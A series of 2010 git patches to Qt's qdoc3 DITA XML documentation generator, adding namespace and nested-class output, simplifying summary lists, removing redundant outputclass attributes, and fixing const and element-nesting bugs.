    summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + } + ++s; + } + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + xmlWriter().writeEndElement(); //
    + } + + writeDetailedDescription(nsn, marker, false, QString("Detailed Description")); + + // not included: or + + xmlWriter().writeEndElement(); // + + // not included: + // not included: + + QList
    detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Function Documentation") { + writeFunctions((*s),nsn,marker); + } + else if ((*s).name == "Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Variable Documentation") { + writeDataMembers((*s),marker); + } + else if ((*s).name == "Property Documentation") { + writeProperties((*s),marker); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); + } + ++s; + } + + // not included: + + xmlWriter().writeEndElement(); // } else if (inner->type() == Node::Class) { cn = const_cast(static_cast(inner)); @@ -1826,7 +1970,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateQmlText(cn->doc().body(), cn, marker, fake->name()); generateAlsoList(fake, marker); - //out() << "
    \n"; sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); s = sections.begin(); @@ -2095,6 +2238,16 @@ void DitaXmlGenerator::generateHeader(const Node* node, " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" + version + "//EN\" \"" + dtd + "\">"; } + else if (node->type() == Node::Namespace) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + outputclass = "namespace"; + } xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); @@ -2899,7 +3052,6 @@ void DitaXmlGenerator::generateLegaleseList(const Node* relative, QMap::ConstIterator it = legaleseTexts.begin(); while (it != legaleseTexts.end()) { Text text = it.key(); - //out() << "
    \n"; generateText(text, relative, marker); xmlWriter().writeStartElement("ul"); do { @@ -4668,7 +4820,7 @@ void DitaXmlGenerator::writeLocation(const Node* n) Write the elements. */ void DitaXmlGenerator::writeFunctions(const Section& s, - const ClassNode* cn, + const Node* n, CodeMarker* marker) { NodeList::ConstIterator m = s.members.begin(); @@ -4728,7 +4880,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } } - if (fn->name() == cn->name()) { + if (fn->name() == n->name()) { xmlWriter().writeStartElement(CXXFUNCTIONCONSTRUCTOR); xmlWriter().writeAttribute("name","constructor"); xmlWriter().writeAttribute("value","constructor"); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 484ff2f..746bbe9 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -117,7 +117,7 @@ class DitaXmlGenerator : public PageGenerator void writeDerivations(const ClassNode* cn, CodeMarker* marker); void writeLocation(const Node* n); void writeFunctions(const Section& s, - const ClassNode* cn, + const Node* n, CodeMarker* marker); void writeParameters(const FunctionNode* fn); void writeEnumerations(const Section& s, CodeMarker* marker); -- cgit v0.12 From 9b6be16181d0e17f61551d3d231f1a997fdcd9e1 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 5 Oct 2010 15:16:41 +0200 Subject: qdoc: Added the remaining names bits. Needs careful proofreading of results. --- tools/qdoc3/ditaxmlgenerator.cpp | 228 +++++++-------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 + 2 files changed, 40 insertions(+), 191 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2b90d8e..6ec8934 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1654,9 +1654,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } writeDetailedDescription(nsn, marker, false, QString("Detailed Description")); - - // not included: or - xmlWriter().writeEndElement(); // // not included: @@ -1666,6 +1663,15 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); s = detailSections.begin(); while (s != detailSections.end()) { + if ((*s).name == "Classes") { + writeNestedClasses((*s),nsn,marker); + break; + } + ++s; + } + + s = detailSections.begin(); + while (s != detailSections.end()) { if ((*s).name == "Function Documentation") { writeFunctions((*s),nsn,marker); } @@ -1673,20 +1679,14 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeEnumerations((*s),marker); writeTypedefs((*s),marker); } - else if ((*s).name == "Variable Documentation") { - writeDataMembers((*s),marker); - } - else if ((*s).name == "Property Documentation") { - writeProperties((*s),marker); + else if ((*s).name == "Namespaces") { + qDebug() << "Nested namespaces" << outFileName(); } else if ((*s).name == "Macro Documentation") { writeMacros((*s),marker); } ++s; } - - // not included: - xmlWriter().writeEndElement(); // } else if (inner->type() == Node::Class) { @@ -4773,7 +4773,7 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) void DitaXmlGenerator::writeLocation(const Node* n) { QString s1, s2, s3; - if (n->type() == Node::Class) { + if (n->type() == Node::Class || n->type() == Node::Namespace) { s1 = CXXCLASSAPIITEMLOCATION; s2 = CXXCLASSDECLARATIONFILE; s3 = CXXCLASSDECLARATIONFILELINE; @@ -5562,186 +5562,32 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, inDetailedDescription = false; } -QT_END_NAMESPACE - -#ifdef TO_BE_INCLUDED_IN_API_DESC -zzzz - Text subtitleText; - if (rawTitle != fullTitle) - subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" - << Atom(Atom::LineBreak); - - QString shortVersion; - shortVersion = project + " " + shortVersion + ": "; - shortVersion = myTree->version(); - if (shortVersion.count(QChar('.')) == 2) - shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); - if (!shortVersion.isEmpty()) { - if (project == "QSA") - shortVersion = "QSA " + shortVersion + ": "; - else - shortVersion = "Qt " + shortVersion + ": "; - } - - out() << " " << shortVersion << protectEnc(title) << "\n"; - -#if 0 - out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); -#endif - - sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); - generateTableOfContents(inner,marker,§ions); - generateTitle(title, subtitleText, SmallSubTitle, inner, marker); - - if (cn && !cn->qmlElement().isEmpty()) { - generateInstantiatedBy(cn,marker); - } +/*! + Write the nested class elements. + */ +void DitaXmlGenerator::writeNestedClasses(const Section& s, + const Node* n, + CodeMarker* marker) +{ + if (s.members.isEmpty()) + return; + xmlWriter().writeStartElement("cxxClassNested"); + xmlWriter().writeStartElement("cxxClassNestedDetail"); - generateBrief(inner, marker); - generateIncludes(inner, marker); - generateStatus(inner, marker); - if (cn) { - generateInherits(cn, marker); - generateInheritedBy(cn, marker); - } - generateThreadSafeness(inner, marker); - generateSince(inner, marker); - - out() << "
      \n"; - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if (!membersLink.isEmpty()) - out() << "
    • " - << "List of all members, including inherited members
    • \n"; - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) - out() << "
    • " - << "Obsolete members
    • \n"; - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) - out() << "
    • " - << "Qt 3 support members
    • \n"; - - out() << "
    \n"; - - bool needOtherSection = false; - - /* - sections is built above for the call to generateTableOfContents(). - */ - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { - if (!s->inherited.isEmpty()) - needOtherSection = true; - } - else { - if (!s->members.isEmpty()) { - out() << "
    \n"; - out() << "\n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateSection(s->members, inner, marker, CodeMarker::Summary); - } - if (!s->reimpMembers.isEmpty()) { - QString name = QString("Reimplemented ") + (*s).name; - out() << "
    \n"; - out() << "\n"; - out() << "

    " << protectEnc(name) << "

    \n"; - generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); - } - generateSectionInheritedList(*s, inner, marker, true); - } - ++s; - } - - if (needOtherSection) { - out() << "

    Additional Inherited Members

    \n"; - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty()) - generateSectionInheritedList(*s, inner, marker); - ++s; + NodeList::ConstIterator m = s.members.begin(); + while (m != s.members.end()) { + if ((*m)->type() == Node::Class) { + xmlWriter().writeStartElement("cxxClassNestedClass"); + QString link = linkForNode((*m), n); + xmlWriter().writeAttribute("href", link); + QString name = n->name() + "::" + (*m)->name(); + xmlWriter().writeCharacters(name); + xmlWriter().writeEndElement(); // } + ++m; } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // +} - out() << "\n"; - - if (!inner->doc().isEmpty()) { - out() << "
    \n" - << "
    \n" // QTBUG-9504 - << "

    " << "Detailed Description" << "

    \n"; - generateBody(inner, marker); - out() << "
    \n"; // QTBUG-9504 - generateAlsoList(inner, marker); - } - - sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "
    \n"; - if (!(*s).divClass.isEmpty()) - out() << "
    \n"; // QTBUG-9504 - out() << "

    " << protectEnc((*s).name) << "

    \n"; - - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - if ((*m)->access() != Node::Private) { // ### check necessary? - if ((*m)->type() != Node::Class) - generateDetailedMember(*m, inner, marker); - else { - out() << "

    class "; - generateFullName(*m, inner, marker); - out() << "

    "; - generateBrief(*m, marker, inner); - } - - QStringList names; - names << (*m)->name(); - if ((*m)->type() == Node::Function) { - const FunctionNode *func = reinterpret_cast(*m); - if (func->metaness() == FunctionNode::Ctor || - func->metaness() == FunctionNode::Dtor || - func->overloadNumber() != 1) - names.clear(); - } - else if ((*m)->type() == Node::Property) { - const PropertyNode *prop = reinterpret_cast(*m); - if (!prop->getters().isEmpty() && - !names.contains(prop->getters().first()->name())) - names << prop->getters().first()->name(); - if (!prop->setters().isEmpty()) - names << prop->setters().first()->name(); - if (!prop->resetters().isEmpty()) - names << prop->resetters().first()->name(); - } - else if ((*m)->type() == Node::Enum) { - const EnumNode *enume = reinterpret_cast(*m); - if (enume->flagsType()) - names << enume->flagsType()->name(); - - foreach (const QString &enumName, - enume->doc().enumItemNames().toSet() - - enume->doc().omitEnumItemNames().toSet()) - names << plainCode(marker->markedUpEnumValue(enumName, - enume)); - } - } - ++m; - } - if (!(*s).divClass.isEmpty()) - out() << "
    \n"; // QTBUG-9504 - ++s; - } -#endif // TO_BE_INCLUDED_IN_API_DESC +QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 746bbe9..cf26274 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -119,6 +119,9 @@ class DitaXmlGenerator : public PageGenerator void writeFunctions(const Section& s, const Node* n, CodeMarker* marker); + void writeNestedClasses(const Section& s, + const Node* n, + CodeMarker* marker); void writeParameters(const FunctionNode* fn); void writeEnumerations(const Section& s, CodeMarker* marker); void writeTypedefs(const Section& s, CodeMarker* marker); -- cgit v0.12 From f6b489885b75001b373c3aa2d3c7f1bd33520c06 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 6 Oct 2010 10:30:21 +0200 Subject: qdoc: Cleaned up a lot of redundant table stuff. Now just uses
      for redundant lists. --- tools/qdoc3/ditaxmlgenerator.cpp | 96 +++------------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 +- 2 files changed, 8 insertions(+), 91 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 6ec8934..5458b7c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3238,90 +3238,19 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, CodeMarker* marker, CodeMarker::SynopsisStyle style) { - bool name_alignment = true; if (!nl.isEmpty()) { - bool twoColumn = false; - if (style == CodeMarker::SeparateList) { - name_alignment = false; - twoColumn = (nl.count() >= 16); - } - else if (nl.first()->type() == Node::Property) { - twoColumn = (nl.count() >= 5); - name_alignment = false; - } - if (name_alignment) { - xmlWriter().writeStartElement("table"); - xmlWriter().writeAttribute("outputclass","alignedsummary"); - xmlWriter().writeStartElement("tgroup"); - xmlWriter().writeAttribute("cols","2"); - xmlWriter().writeStartElement("tbody"); - } - else { - if (twoColumn) { - xmlWriter().writeStartElement("table"); - xmlWriter().writeAttribute("outputclass","propsummary"); - xmlWriter().writeStartElement("tgroup"); - xmlWriter().writeAttribute("cols","1"); - xmlWriter().writeStartElement("tbody"); - xmlWriter().writeStartElement("row"); - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","topAlign"); - } - xmlWriter().writeStartElement("ul"); - } - - int i = 0; + xmlWriter().writeStartElement("ul"); NodeList::ConstIterator m = nl.begin(); while (m != nl.end()) { - if ((*m)->access() == Node::Private) { - ++m; - continue; - } - - if (name_alignment) { - xmlWriter().writeStartElement("row"); - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","memItemLeft rightAlign topAlign"); - } - else { - if (twoColumn && i == (int) (nl.count() + 1) / 2) { - xmlWriter().writeEndElement(); //
    - xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","topAlign"); - xmlWriter().writeStartElement("ul"); - } + if ((*m)->access() != Node::Private) { xmlWriter().writeStartElement("li"); - xmlWriter().writeAttribute("outputclass","fn"); - } - - QString marked = getMarkedUpSynopsis(*m, relative, marker, style); - writeText(marked, marker, relative, name_alignment); - if (name_alignment) { - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - } - else { + QString marked = getMarkedUpSynopsis(*m, relative, marker, style); + writeText(marked, marker, relative); xmlWriter().writeEndElement(); // } - i++; ++m; } - if (name_alignment) { - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - } - else { - xmlWriter().writeEndElement(); // - if (twoColumn) { - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - } - } + xmlWriter().writeEndElement(); // } } @@ -3416,8 +3345,7 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, */ void DitaXmlGenerator::writeText(const QString& markedCode, CodeMarker* marker, - const Node* relative, - bool nameAlignment) + const Node* relative) { QString src = markedCode; QString html; @@ -3487,19 +3415,9 @@ void DitaXmlGenerator::writeText(const QString& markedCode, // 0 1 2 3 4 5 "link", "type", "headerfile", "func", "param", "extra" }; - bool done = false; + for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - if (nameAlignment && !done) { - if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); - html.clear(); - } - xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass","memItemRight bottomAlign"); - done = true; - } i += 2; bool handled = false; for (int k = 0; k != 6; ++k) { diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index cf26274..8bd9406 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -208,8 +208,7 @@ class DitaXmlGenerator : public PageGenerator CodeMarker* marker); void writeText(const QString& markedCode, CodeMarker* marker, - const Node* relative, - bool nameAlignment = false); + const Node* relative); void generateFullName(const Node* apparentNode, const Node* relative, -- cgit v0.12 From 94cae67da50d68f70d728a7fb231de89d47263db Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 6 Oct 2010 12:32:34 +0200 Subject: qdoc: Cleaned up a lot of unneeded outputclass attributes. --- tools/qdoc3/ditaxmlgenerator.cpp | 30 +++--------------------------- tools/qdoc3/ditaxmlgenerator.h | 4 +--- 2 files changed, 4 insertions(+), 30 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 5458b7c..9e41a00 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1178,10 +1178,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("simpletable"); xmlWriter().writeAttribute("outputclass","valuelist"); xmlWriter().writeStartElement("sthead"); - if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd"); - else - xmlWriter().writeAttribute("outputclass","even"); xmlWriter().writeStartElement("stentry"); xmlWriter().writeCharacters("Constant"); xmlWriter().writeEndElement(); // @@ -1234,14 +1230,12 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, else { // (atom->string() == ATOM_LIST_VALUE) xmlWriter().writeStartElement("strow"); xmlWriter().writeStartElement("stentry"); - xmlWriter().writeAttribute("outputclass","topAlign"); xmlWriter().writeStartElement("tt"); xmlWriter().writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), relative)))); xmlWriter().writeEndElement(); //
    xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); - xmlWriter().writeAttribute("outputclass","topAlign"); QString itemValue; if (relative->type() == Node::Enum) { @@ -1271,7 +1265,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (threeColumnEnumValueTable) { xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); - xmlWriter().writeAttribute("outputclass","topAlign"); if (matchAhead(atom, Atom::ListItemRight)) xmlWriter().writeCharacters(" "); } @@ -1378,7 +1371,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, in_para = false; } xmlWriter().writeStartElement("table"); - xmlWriter().writeAttribute("outputclass","generic"); numTableRows = 0; if (tableColumnCount != 0) { qDebug() << "ERROR: Nested tables!"; @@ -1428,10 +1420,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } xmlWriter().writeStartElement("row"); xmlWriter().writeAttribute("valign","top"); - if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd"); - else - xmlWriter().writeAttribute("outputclass","even"); break; case Atom::TableRowRight: xmlWriter().writeEndElement(); // @@ -1664,7 +1652,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark s = detailSections.begin(); while (s != detailSections.end()) { if ((*s).name == "Classes") { - writeNestedClasses((*s),nsn,marker); + writeNestedClasses((*s),nsn); break; } ++s; @@ -2724,7 +2712,6 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, xmlWriter().writeAttribute("cols","2"); xmlWriter().writeStartElement("tbody"); - int row = 0; foreach (const QString& name, nodeMap.keys()) { const Node* node = nodeMap[name]; @@ -2732,10 +2719,6 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, continue; xmlWriter().writeStartElement("row"); - if (++row % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd topAlign"); - else - xmlWriter().writeAttribute("outputclass","even topAlign"); xmlWriter().writeStartElement("entry"); xmlWriter().writeStartElement("p"); generateFullName(node, relative, marker); @@ -2919,7 +2902,7 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, Output a

    element to contain all the

    elements. */ xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","compactlist flowListDiv"); + xmlWriter().writeAttribute("outputclass","compactlist"); for (int i=0; i } xmlWriter().writeStartElement("dl"); - if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","flowList odd"); - else - xmlWriter().writeAttribute("outputclass","flowList even"); xmlWriter().writeStartElement("dlentry"); xmlWriter().writeStartElement("dt"); xmlWriter().writeAttribute("outputclass","alphaChar"); @@ -3267,7 +3246,6 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { xmlWriter().writeStartElement("li"); - xmlWriter().writeAttribute("outputclass","fn"); QString text; text.setNum((*p).second); text += " "; @@ -4416,7 +4394,6 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, m = section.members.begin(); while (m != section.members.end()) { xmlWriter().writeStartElement("li"); - xmlWriter().writeAttribute("outputclass", "fn"); generateQmlItem(*m,relative,marker,true); xmlWriter().writeEndElement(); // ++m; @@ -5484,8 +5461,7 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, Write the nested class elements. */ void DitaXmlGenerator::writeNestedClasses(const Section& s, - const Node* n, - CodeMarker* marker) + const Node* n) { if (s.members.isEmpty()) return; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 8bd9406..c0cb0db 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -119,9 +119,7 @@ class DitaXmlGenerator : public PageGenerator void writeFunctions(const Section& s, const Node* n, CodeMarker* marker); - void writeNestedClasses(const Section& s, - const Node* n, - CodeMarker* marker); + void writeNestedClasses(const Section& s, const Node* n); void writeParameters(const FunctionNode* fn); void writeEnumerations(const Section& s, CodeMarker* marker); void writeTypedefs(const Section& s, CodeMarker* marker); -- cgit v0.12 From e4f69ae9bd749db3defababa226b4d28051558ce Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 13 Oct 2010 10:18:41 +0200 Subject: qdoc: Fix const problem. --- tools/qdoc3/ditaxmlgenerator.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9e41a00..ec82344 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -4412,7 +4412,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, CodeMarker* marker) { QString marked; - QmlPropertyNode* qpn = 0; + const QmlPropertyNode* qpn = 0; if (node->subType() == Node::QmlPropertyGroup) { const QmlPropGroupNode* qpgn = static_cast(node); NodeList::ConstIterator p = qpgn->childNodes().begin(); @@ -4421,7 +4421,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, if ((*p)->type() == Node::QmlProperty) { qpn = static_cast(*p); xmlWriter().writeStartElement("li"); - writeGuidAttribute(qpn); + writeGuidAttribute((Node*)qpn); QString attr; if (!qpn->isWritable(myTree)) attr = "read-only"; -- cgit v0.12 From d32706acebf37bd1e93e1c045cb46c7898ffed19 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 14 Oct 2010 13:11:03 +0200 Subject: qdoc: Fixed bug where cpp and h files not copied for examples. --- tools/qdoc3/ditaxmlgenerator.cpp | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index ec82344..9715b9d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -47,6 +47,7 @@ #include "codeparser.h" #include "ditaxmlgenerator.h" #include "node.h" +#include "quoter.h" #include "separator.h" #include "tree.h" #include @@ -1983,7 +1984,19 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker return; } - if (!fake->doc().isEmpty()) { + if (fake->doc().isEmpty()) { + if (fake->subType() == Node::File) { + xmlWriter().writeStartElement("body"); + Text text; + Quoter quoter; + Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); + QString code = quoter.quoteTo(fake->location(), "", ""); + text << Atom(Atom::Code, code); + generateText(text, fake, marker); + xmlWriter().writeEndElement(); // + } + } + else { xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { writeDetailedDescription(fake, marker, false, QString("Detailed Description")); @@ -2000,7 +2013,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateAnnotatedList(fake, marker, groupMembersMap); } - xmlWriter().writeEndElement(); // } xmlWriter().writeEndElement(); // -- cgit v0.12 From e7d0747e31fbf0226a7cb639ca52f984cdd8d3ea Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 14 Oct 2010 14:09:08 +0200 Subject: qdoc: Included file path as small-subtitle for example source files. --- tools/qdoc3/ditaxmlgenerator.cpp | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9715b9d..b9ceb0a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1986,11 +1986,17 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (fake->doc().isEmpty()) { if (fake->subType() == Node::File) { - xmlWriter().writeStartElement("body"); Text text; Quoter quoter; + xmlWriter().writeStartElement("body"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass", "small-subtitle"); + text << fake->subTitle(); + generateText(text, fake, marker); + xmlWriter().writeEndElement(); //

    Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); + text.clear(); text << Atom(Atom::Code, code); generateText(text, fake, marker); xmlWriter().writeEndElement(); // -- cgit v0.12 From 101148b86d356295b559c60c304714e8a07aafd6 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 15 Oct 2010 13:35:56 +0200 Subject: qdoc: Fixed invalid element nesting in some elements. --- tools/qdoc3/ditaxmlgenerator.cpp | 67 ++++++++++++++++++++++++---------------- 1 file changed, 41 insertions(+), 26 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b9ceb0a..42f6d1d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1895,49 +1895,66 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateHeader(fake, fullTitle); generateBrief(fake, marker); // + xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { generateStatus(fake, marker); if (moduleNamespaceMap.contains(fake->name())) { - writeTargetAndHeader("namespaces","Namespaces","h2"); + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","namespaces"); + xmlWriter().writeStartElement("ttitle"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Namespaces"); + xmlWriter().writeEndElement(); // generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]); + xmlWriter().writeEndElement(); //
    } if (moduleClassMap.contains(fake->name())) { - writeTargetAndHeader("classes","Classes","h2"); + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","classes"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Classes"); + xmlWriter().writeEndElement(); // generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); + xmlWriter().writeEndElement(); //
